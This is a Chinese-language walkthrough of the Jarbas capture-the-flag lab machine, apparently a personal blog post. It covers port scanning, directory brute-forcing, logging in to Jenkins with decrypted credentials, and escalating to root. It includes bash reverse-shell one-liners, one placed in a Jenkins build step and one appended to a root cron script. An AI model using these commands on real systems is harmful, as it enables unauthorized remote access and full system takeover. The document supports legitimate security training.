JARBAS
信息搜集
寻找靶机地址


找到目标靶机的 ip 地址192.168.35.138,对其进行端口扫描

这台目标(192.168.35.138)暴露了:
-
SSH (22):远程管理入口
-
HTTP (80):Web 服务
-
MySQL (3306):数据库服务
-
HTTP 代理 (8080):可能是 Web 应用、代理服务器或管理面板
发现一共开放了 22,80,3306,8080
进行 UDP 端口的扫描
以及深度 TCP 扫描

UDP 扫描结果:
这些端口都是open|filtered 或者 closed,说明大多数端口都是关闭的,一部分不知死活,所有攻击面应该不是这些方面。
详细 TCP 扫描结果:
暴露了几个可能的攻击入口
端口 80 (HTTP) - open,端口 22 (SSH) - open
HTTP 方法探测
Potentially risky methods: TRACE
TRACE 方法开启 → 可能存在跨站跟踪 (XST) 攻击
端口 3306 (MySQL) - open
有关于 HTTP trace 漏洞 http-trace方法
这里 Nmap 使用了注入语句进行了 sql 注入的测试,列出来URL中的参数可能存在注入点。
现在到目前为止,我们可以基本确认这个攻击方式就是 sql 注入了
攻击流程
使用未授权登录
sudo mysql -h 192.168.35.138 -u root -p
但是发现登陆失败
尝试进入之前扫描端口时扫到的 80 和 8080 两个端口
是一个神秘小网站


8080 端口进入的是一个登录网站,关键是一个 Jenkins 的东西,这是什么?
Jenkins 是一个开源的「自动化部署 / 持续集成工具」
正常用途是给开发、运维用的:
- 自动编译代码
- 自动测试、打包
- 自动把项目部署到服务器
接下来扫描目录
sudo gobuster dir -u http://192.168.213.138 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
这条命令会通过暴力枚举的方式,发现 Web 服务器上隐藏的目录和文件
没有东西
加常见后缀名
sudo gobuster dir -u http://192.168.213.138 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x html,php

查看内容

进行解密
Tiago: italia 99
Trindade:marianna
Eder:vipsu
用第三个账户登录

登录完成以后就可以创建项目,我们创建一个自动化的项目,build 的内容是
/bin/bash -i >& /dev/tcp/192.168.213.135/9999 0>&1
然后在 kali 上开启监听

可以看见我们初始的用户是 jenkins,使用
sudo -l
查看当前用户权限,非常低
使用
cat /etc/passwd
查看有哪一些用户
可以看见 bash 的root 用户,我们最终的目标就是他
查看一下定时任务
cat /etc/crontab

可以看见
*/5 * * * * root /etc/script/CleaningScript.sh >/dev/null 2>&1
每 5 分钟以 root 权限运行一次脚本
查看脚本内容
cat /etc/script/CleaningScript.sh
脚本的内容其实不重要,重要是我们可以把自己的理想代码写上去。
echo "/bin/bash -i >& /dev/tcp/192.168.35.136/8888 0>&1" >> /etc/script/CleaningScript.sh
然后在 8888 端口启动监听之后即可获得权限。


浙公网安备 33010602011771号